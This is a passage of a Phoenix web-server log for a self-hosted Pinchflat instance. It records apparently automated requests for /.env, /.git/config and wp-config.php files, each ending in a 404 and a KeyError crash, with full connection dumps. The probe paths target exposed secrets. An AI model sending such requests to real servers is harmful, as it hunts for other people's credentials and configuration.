:before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYVeSeCam0MYAA1gB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7747.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, pr (truncated) 04:06:54.617 [info] GET /admin/.env 04:06:54.617 [debug] QUERY OK source="settings" db=0.1ms idle=350.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.617 [debug] QUERY OK source="settings" db=0.0ms idle=235.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.617 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.618 [error] #PID<0.7748.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 9) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7748.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYV6yyOOesPcAA1iB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7748.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin/.env", resp_body: nil, resp (truncated) 04:06:54.739 [info] GET /.git/config 04:06:54.740 [debug] QUERY OK source="settings" db=0.1ms idle=357.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.740 [debug] QUERY OK source="settings" db=0.0ms idle=242.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.740 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.740 [error] #PID<0.7749.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 10) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7749.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYWYApBwDSb8AA1kB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7749.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max (truncated) 04:06:54.865 [info] GET /wp-config.php 04:06:54.865 [debug] QUERY OK source="settings" db=0.1ms idle=367.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.865 [debug] QUERY OK source="settings" db=0.0ms idle=248.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.866 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.866 [error] #PID<0.7750.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 11) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wp-config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7750.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYW17xKCISG8AA1mB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7750.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-config.php", re (truncated) 04:06:54.982 [info] GET /wp-config.php.old 04:06:54.983 [debug] QUERY OK source="settings" db=0.1ms idle=365.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.983 [debug] QUERY OK source="settings" db=0.0ms idle=243.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.983 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.983 [error] #PID<0.7751.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 12) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => 